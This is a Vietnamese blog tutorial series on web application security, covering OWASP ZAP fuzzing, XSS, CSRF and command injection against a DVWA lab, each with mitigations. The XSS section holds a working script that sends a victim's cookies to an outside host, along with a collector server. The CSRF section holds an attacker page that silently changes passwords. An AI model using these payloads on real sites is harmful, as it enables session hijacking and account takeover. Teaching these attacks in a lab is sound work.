TOOL TEST SECURITY – OWASP ZAP – SERIES WEB APPLICATION SECURITY

1. NỘI DUNG

• Giới Thiệu
• Tool Test Security – OWASP ZAP
• Một số chức năng của OWASP
• Các Bài Viết Liên Quan

2. GIỚI THIỆU

• OWASP là từ viết tắt của The Open Web Application Security Project (dự án mở về bảo mật ứng dụng Web), dự án là một cộng đồng chung giúp các tổ chức có thể phát triển, mua hoặc bảo trì các ứng dụng an toàn. Ở OWASP ta sẽ tìm thấy nhiều thứ “miễn phí” và “mở” (free and open) sau đây:
  • Công cụ và các tiêu chuẩn về an toàn thông tin
  • Sách về kiểm tra bảo mật, lập trình an toàn và các bài viết về bảo mật mã nguồn
  • Thư viện và các tiêu chuẩn điều khiển bảo mật
  • Các chi nhánh của hội ở khắp nơi trên thế giới
  • Những nghiên cứu mới nhất
  • Những buổi hội thảo toàn cầu
  • Địa chỉ thư tín chung
  • Và nhiều thứ khác, xem thêm tại www.owasp.org
• OWASP cũng đưa ra danh sách top 10 các rủi ro:
  1. Injection: Tiêm nhiễm mã độc
  2. Broken Authentication and Session Management: Sai lầm trong kiểm tra định danh và phiên làm việc
  3. Cross-Site scripting(XSS): Thực thi mã Script xấu
  4. Insecure Direct Object Reference: Đối tượng tham chiếu thiếu an toàn
  5. Security Misconfiguration : Sai sót cấu hình an ninh
  6. Sensitive Data Exposure: Lộ dữ liệu nhạy cảm
  7. Missing Function Level Access Control : Mất kiểm soát mức độ truy cập chức năng
  8. Cross Site Request Forgery (CSRF): Giả mạo yêu cầu
  9. Using Known Vulnerable Components: Tấn công sử dụng các thành phần với các lỗ hổng đã biết
  10. Unvalidated Redirects and Forwards: Chuyển hướng và chuyển tiếp không an toàn
• Tool Test Security – OWASP ZAP
  • Là một security scanner
  • ZAP: Zed Attack Proxy
  • https://github.com/zaproxy/zaproxy/
  • Nội dung chi tiết: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

3. TOOL TEST SECURITY – OWASP ZAP

• CÀI ĐẶT

  • Cài đặt và sử dụng theo như link sau:https://youtu.be/sX3vaxsUcC0
• Một số chức năng chính của OWASP ZAP:
  • The Spiders: crawler ( sử dụng AJAX Spiders để scan các AJAX request )
  • Proxy: Recorder , để giúp tạo những data hợp lệ khi attack.
  • Active và Passive Scanning: quét lỗ hổng chủ động và bị động
  • Fuzzer: gửi những data không hợp lệ, không mong muốn.
  • Changing requests and Responses : allows  you to specify as complex a criteria as you need

5. SỬ DỤNG OWASP TEST THỬ SQL INJECTION CỦA DVWA

• Security level: low, OWASP ZAP scan:

• Khi Sử dụng thử chức năng Fuzz với thiết lập của của ID={FUZZ}, FUZZ là dữ liệu của MYSQL Injection để test.

  

• Kết quả test với Fuzz (Các nhãn Reflected là những nhãn đáng suy nghĩ. Có khả năng xảy ra đặc biệt trong nhóm này. ):

• Security Level: impossible:
  • Active Scan:
  
  • Fuzz – MYSQL Injection Scan:
  
  vietnamlab
  
  

Read More

CROSS-SITE SCRIPTING (XSS) – SERIES WEB APPLICATION SECURITY

1. NỘI DUNG

• Giới Thiệu
• Cross-Site Scripting  (XSS)
• Cách Phòng Chống
• Các Bài Viết Liên Quan

2. GIỚI THIỆU

• Cross Site Scripting (XSS) là gì ? Là một kiểu tấn công cho phép hacker chèn vào những đoạn script độc hại (thông thường là javascript hoặc HTML) vào website và sẽ được thực thi ở trình duyệt người dùng.. Các thông tin có thể bị đánh cắp qua XSS: Email, Mật khẩu, Cookie truy cập web nào đó của người dùng.
• Mục đích tấn công của XSS: Lấy Cookie của người dùng có thể để giả mạo phiên làm việc truy cập. Keylogging ghi lại những thao tách của người dùng, Phishing: thay đổi cấu trúc trang web hiện tại để đánh lừa người dùng: nhập username, password, thẻ tín dụng…

3. CROSS-SITE SCRIPTING (XSS)

• Một kịch bản cho cách thức tấn công lỗi XSS như sau:

• 1. User truy cập vào 1 trang web (của Malicious Attacker)  hoặc nhận được mail, cái mà có chứa nội dung nguy hiểm
  2. User click vào link mà nội dung kẻ tấn công gửi cho. Nội dung của link chứa script, script này sẽ nhúng vào trang web mà kẻ tấn công muốn phá hoại
  3. WebSite bị tấn công sẽ thực thi yêu cầu không mong muốn của User thông qua script đã được nhúng
  4. Brower của người dùng thực thi script không mong muốn, có thể gửi các thông tin mà hacker mong muốn.
• Xem xét các thức hoạt động
• Web Application có một chức năng sau

• Một ứng dụng web cho việc nhắn tin giữa các user với nhau. Người Dùng nhập tên của mình và message muốn gửi cho toàn bộ người khác trong hệ thống. Member khác vào sẽ đọc được nội dung mà người khác đã gửi lên hệ thống. Chức năng này giống như chức năng comment của facebook. Mọi người đều đọc được hết các comment.
• Để kiểm tra xem ứng dụng này có thể lợi dụng lỗ hổng XSS hay không ta có thể test với nội dung sau của message: <script>console.log(“test xss!!!”)</script>. Nếu Log trên được bắn ra thì ứng dụng này có thể lợi dụng lỗ hổng XSS để thực hiện hành vi không mong muốn với người khác. Để test chức năng này đặt security level: low. Load lại trang web thì thấy kết quả như sau thì sẽ có thể lợi dụng lỗ hổng XSS:

• Nhìn vào kết quả trên thấy rằng hệ thống đang bị lỗi xss. Javascript được nhúng vào phần message vẫn chạy được một cách bình thường.
• Khi hacker chỉ alert(1); , console.log(“xyz abc”) thì thấy rằng cái lỗi này chẳng có gì phải đáng lo lắng. Mà công nhận không đáng lo thật.
• Phức tạp hóa vấn đề
• Với ứng dụng này thử challenge bằng cách ăn cắp phiên làm việc của các victim nếu nhảy vào xem chức năng message trên.
• Vai trò trong ví dụ
  • Hacker: user smithy của hệ thống
  • Victim: user admin của hệ thống
• Mô hình test thử:

• Nội dung của javascript để nhúng vào website nơi victim truy cập:

<script>     var s = btoa(document.cookie);     var x = document.createElement(“IMG”);     x.setAttribute(“src”, “https://test-facebook-chatbot-dinhphi3916.c9users.io/xss?cookie=” + s);     x.setAttribute(“width”, “1”);     x.setAttribute(“width”, “1”);     document.body.appendChild(x); </script>

• Nội dung gửi đi tới server hacker là cookie của trang website: document.cookie, dữ liệu được mã hóa dưới dạng Base64 dùng hàm bota
• Lý do dùng Base64 là để có thể gửi cookie như một value.
• Để test tác giả dùng server cá nhân test
• Bên Server của hacker (dùng nodejs) có nội dung dạng như sau

app.get(‘/xss’, function(req, res) {   var data = req.query;   var value = new Buffer(data.cookie, ‘base64’).toString();   console.log(“GET HAVE A ——-POST—– MESSAGE: “+ value);   res.sendStatus(200); });

• Kết quả
1. Hacker nhúng javascript vào phần message
   
2. Victim vào phần message & trả về các message trong đó có message của hacker & gửi thông tin cookie tới hacker:
   
3. Tại Server của hacker sẽ nhận được thông tin sau:

   GET HAVE A ———–POST——– MESSAGE: PHPSESSID=t140lg2j16gbcnvimo05j7iis6; security=low GET /xss?cookie=UEhQU0VTU0lEPXQxNDBsZzJqMTZnYmNudmltbzA1ajdpaXM2OyBzZWN1cml0eT1sb3c= 2001.735 ms – 2

4. Hacker smithly đổi cookie PHPSESSID và refresh lại trang web:
   

1. Như vậy với việc lấy được cookie, hacker smithy đã có thể vào với tư cách là admin. Đến đây smithy có thể làm mọi thao tác với quyền hạn mới của admin. Còn làm được gì thì tùy website.
2. Tưởng tượng lỗi này mà facebook bị dính, nếu Hacker vào được facebook của người yêu thì chắc là Hack được account của người yêu sẽ là một sai lầm khi đọc các tin nhắn :D:D:D

4. CÁCH PHÒNG CHỐNG

• Cách phòng chống lỗi XSS là ngăn chặn việc thực hiện javascript mà User có thể nhập vào. Dựa vào các hàm escapse trước khi insert vào DB
• Một số hàm escapse

  $message = stripslashes( $message );     $message = mysql_real_escape_string( $message );     $message = htmlspecialchars( $message );

• Không cho phép các URL người dùng nhập vào có bắt đầu bằng http://, https:// để lợi dụng lỗ hổng : <img src=’http://hacker-site..’>
• Không cho phép nhập  dạng các <script>
• Thiết lập HttpOnly với cookie để không thể lấy cookie bằng javascript của hacker nhúng vào
  
  

  function setcookie ($name, $value = null, $expire = null, $path = null, $domain =null, $secure = null, $httponly = null)

  vietnamlab

Read More

CROSS-SITE REQUEST FORGERY (CSRF) – SERIES WEB APPLICATION SECURITY

1. NỘI DUNG

• Giới Thiệu
• Cross-Site Request Forgery (CSRF)
• Cách Phòng Chống
• Các Bài Viết Liên Quan

2. GIỚI THIỆU

• Cross-Site Request Forgery (CSRF) là cách tấn công mà kẻ tấn công sử dụng một trang web độc hại, email, blog, tin nhắn để dụ người dùng ấn vào những thành phần ở trong trang web đó như các link, ảnh … rồi sau đó thực hiện một hành động trên một trang web tin cậy mà người dùng hiện đang được chứng thực.

3. CROSS-SITE REQUEST FORGERY (CSRF)

• Một kịch bản cho cách thức tấn công lỗi CSRF như sau:

• 1. User truy cập vào 1 trang web bình thường, website dạng như facebook, gmail, bank…
  2. Hệ thống của website cung cấp cho User một session.
  3. User vẫn login hệ thống mà chưa logout ra khỏi hệ thống
  4. User duyệt một trang web khác của Malicious Attacker
  5. User click vào link ở trên trang web của kẻ tấn công. Link này sẽ tự động thực hiện một hành vi nào đó ko tốt trên hệ thống của website bình thường ban đầu user truy cập
• Xem xét các thức hoạt động
• Web Application có một chức năng sau

• Một ứng dụng web đơn giản đó là thay đổi password người dùng. Việc gửi lên server theo phương thức HTTP GET thông thường. Nội dung gửi lên là password mới và confiem lại password vừa nhập.
• Sau khi nhập và gửi lên server thì password người dùng sẽ bị thay đổi trên hệ thống.
• Ứng dụng trên hoàn toàn OK không có vấn đề gì hết nếu người dùng tuân thủ đúng mong muốn của developer.
• Một số kẻ ác ý kiểm tra thử xem ứng dụng này có mắc lỗi CSRF hay không bằng cách thử copy link trên URL: [https://webtest1.com/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#] và thay đổi password thành password1:  [https://webtest1.com/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change#] vào trình duyệt hiện tại (mà ko cần bấm nút Change).

• OHHH tuyệt vời! với kết quả trên thì có thể dùng URL để thay đổi mật khẩu 1 cách nhanh chóng mà chẳng cần phải bấm nút Change! Nhưng sự tuyệt vời này lại là một lỗ hổng bảo mật nguy hiểm.
• Giả sử một kịch bản sau:
  • Người dùng user truy cập vào trang webtest1.com
  • Trong thời gian truy cập vào webtest1.com. Người dùng chưa logout khỏi web, và đi thăm thú các trang web khác như facebook.com, vietnamlab.vn, vnexpress.net …. và vào 1 trang web: webtest2.com
  • webtest2.com là một trang mà hacker (hoặc kẻ ác ý khác – muốn chôm mật khẩu tại trang webtest1.com). Nội dung của webtest2.com có một URL được ẩn đi dạng: [https://webtest1.com/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#]. Victim (User) lúc này vào trang webtest2.com và vô tình đã thay đổi mật khẩu của bản thân tại webtest1.com
  • Victim( User) sau khi thoát ra khỏi web: Logout, thì không thể vào lại hệ thống với mật khẩu cũ.
• Thiết lập kịch bản trên:
• Nội dung file hosts dẫn đến các server:

  192.168.33.100 webtest1.com 192.168.33.110 webtest2.com

• Nội dung trang web của hacker
  <html> <head>     <script>         function hacked() {             var password = “hacked”;             $(‘body’).append(‘<img src=”https://webtest1.com/vulnerabilities/csrf/?password_new=’ + password+ ‘&password_conf=’ + password + ‘&Change=Change#” height=”1″ width=”1″>’);             alert(“RIP you! your password is changed!”);         }     </script> </head> <body>     <br><br><br><br><br><br><br><br><br><br><br><br><br><br>     <div width=“100%”>         <div width=“50%” align=“center”>             <button align=“center” onClick=‘hacked()’>Click day hay lam! yen tam di ko co virus dau</button>             <div>                 <div> </body> </html>

• Khi người dùng lỡ tay click vào Button thì sẽ hiện ra thông báo: [RIP you! your password is changed!] kết quả như hình dưới

• Như vậy khi Victim (User) vô tình vào trang webtest2.com đã làm thay đổi password của bản thân tại trang webtest1.com. Hacker nếu biết thông tin username sẽ thử vào với password đã cài đặt:hacked và có thể vào một cách bình thường, ví dụ vào trên trình duyệt khác với username: admin, password: hacked thì sẽ vào webtest1.com một cách bình thường. –> mọi người tự thử nhé.
• Với ví dụ trên thì Hacker vẫn còn tốt chán vì có yêu cầu click và thông báo cho user là đã bị mất mật khẩu. Nhưng thực tế hacker sẽ dùng một số thủ thuật để Victim không thể biết là mình vừa mất mật khẩu. Thông qua thẻ <img src=’URL_LINK’> hoặc <iframe src=’URL_LINK’>

4: cách phòng chống

• Với những chức năng thay đổi thông tin của hệ user, các thông tin quan trọng, khi muốn thay đổi phải có yêu cầu xác thực ví dụ như ứng dụng trên đó là password hiện tại là gì. Khi đó cho dù gửi yêu cầu thay đổi password như ví dụ trên được gửi cũng cần phải có password hiện tại. Chức năng này cũng có rất nhiều trong facebook khi mà bạn thay đổi bất kỳ thông tin gì của cá nhân sẽ có yêu cầu password hiện tại. Ngoài ra có thể check cả http_refferer xem có trùng với domain hiện tại đang xử lý hay không.

• Dùng csrf_token: token này sẽ thay đổi liên tục trong phiên làm việc, và khi thay đổi thông tin gửi kèm thông tin token này. Như vậy nếu token được sinh ra và token được gửi lên ko trùng nhau thì loại bỏ request. Việc làm này sẽ chống được 100% có khi lên tới 1000% lỗ hổng csrf. csrf_token thường là bảng băm hash của đầu vào random. Quá trình kiểm tra như sau
• server sinh ra csrf_token : generateSessionToken() và lưu vào SESSION: $_SESSION[‘session_token’]
• User load giao diện màn hình sửa thông tin, lúc này sẽ tạo cho user một trường hidden: user_token có giá trị lấy từ SESSION ra: user_token = $_SESSION[‘session_token’].
• User sửa thông tin cần thay đổi và gửi lên server, khi gửi lên server sẽ gửi kèm thông tin user_token
• Server kiểm tra user_token === $_SESSION[‘session_token’] ??? nếu không giống nhau –> request giả mạo, nếu giống nhau thì xử lý thay đổi
• Trường hợp OK thì thay đổi được cập nhật,  lúc này Server thực hiện lại bước đầu tiên để sinh ra csrf_token mới cho User: generateSessionToken() và lưu vào SESSION: $_SESSION[‘session_token’]
• vietnamlab

Read More

COMMAND INJECTION – SERIES WEB APPLICATION SECURITY

1. NỘI DUNG

• Giới Thiệu
• Command Injection
• Cách Phòng Chống
• Các Bài Viết Liên Quan

2. GIỚI THIỆU

       Theo Wiki của OWASP: https://www.owasp.org/index.php/Command_Injection

• Như vậy tóm lại là dựa vào sơ hơ của Web Application, Hacker- kẻ tấn công có thể thực hiện các câu lệnh, dòng code của OS để thực hiện các hành vi không tốt đối với hệ thống. Việc tiêm thêm (injection) vào ứng dụng để thực thi hành vi không tốt là một lỗi vô cùng nguy hiểm. Có thể gây lỗi cho host, lấy cắp thông tin, thậm trí chiếm quyền quản lý server.

3. COMMAND INJECTION

• Xem xét cách thức lợi dụng lỗ hổng bảo mật
• Ví dụ về một ứng dụng web:

• Web Application trên là một ứng dụng ping một địa chỉ IP hoặc website nào đó. Kết quả của việc [ping google.com.vn] được hiển thị kết quả như màn hình trên.
• Mọi sự chẳng có gì nếu gặp một ai đó sử dụng đúng mục đích.
• Hãy xem trong trường hợp level security thấp thì hệ thống sẽ xử lý ra sao:

  // Get input     $target = $_REQUEST[ ‘ip’ ];     // Determine OS and execute the ping command.     if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {         // Windows         $cmd = shell_exec( ‘ping  ‘ . $target );     }     else {         // *nix         $cmd = shell_exec( ‘ping  -c 4 ‘ . $target );     }

• Nếu kẻ tấn công thử với vài câu lệnh nho nhỏ:

• Như kế quả trên thì hệ chức năng Ping này quả thật là nguy hiểm. Nó có thể hiển thị được tất cả nội dung trong file /etc/passwd. File lưu thông tin về account, password của server.
• Kẻ gây hại có thể xem hết nội dung của các file trong hệ thống. Có thể tạo ra 1 shell script thực hiện một hành vi gây hại nào đó rồi dùng các command của linux để nạp, chạy, thậm trí xóa dữ liệu của server. Nếu user chạy Web có khả năng quyền root nữa thì lỗ hổng trên trở lên vô cùng nghiêm trọng
• Nguyên nhân của việc trên là các chức năng thực thi các câu lệnh của OS mà không hề kiểm tra tính đúng đắn của input đầu vào.

4. CÁCH PHÒNG CHỐNG

• Không bao giờ tin tưởng giá trị đầu vào của người dùng.
• Loại bỏ các ký tự đặc biệt bên server như các chuyển hướng, điều kiện của command hệ thống
• Với mỗi loại command muốn chạy thì kiểm tra chặt chẽ đầu vào. Như ứng dụng trên kiểm tra việc nhập vào có đúng format của địa chỉ IP: {digit}.{digit}.{digit}.{digit}
• Cách phòng chống của bên DVAW cung cấp với mức level imposible của ứng dụng PING:

  // Get input     $target = $_REQUEST[ ‘ip’ ];     $target = stripslashes( $target );     // Split the IP into 4 octects     $octet = explode( “.”, $target );     // Check IF each octet is an integer     if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric($octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {         // If all 4 octets are int’s put the IP back together.         $target = $octet[0] . ‘.’ . $octet[1] . ‘.’ . $octet[2] . ‘.’ . $octet[3];         // Determine OS and execute the ping command.         if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {             // Windows             $cmd = shell_exec( ‘ping  ‘ . $target );         }         else {             // *nix             $cmd = shell_exec( ‘ping  -c 4 ‘ . $target );         }         // Feedback for the end user         $html .= “<pre>{$cmd}</pre>”;     }     else {         // Ops. Let the user name theres a mistake         $html .= ‘<pre>ERROR: You have entered an invalid IP.</pre>’;     } }

vietnamlab

Read More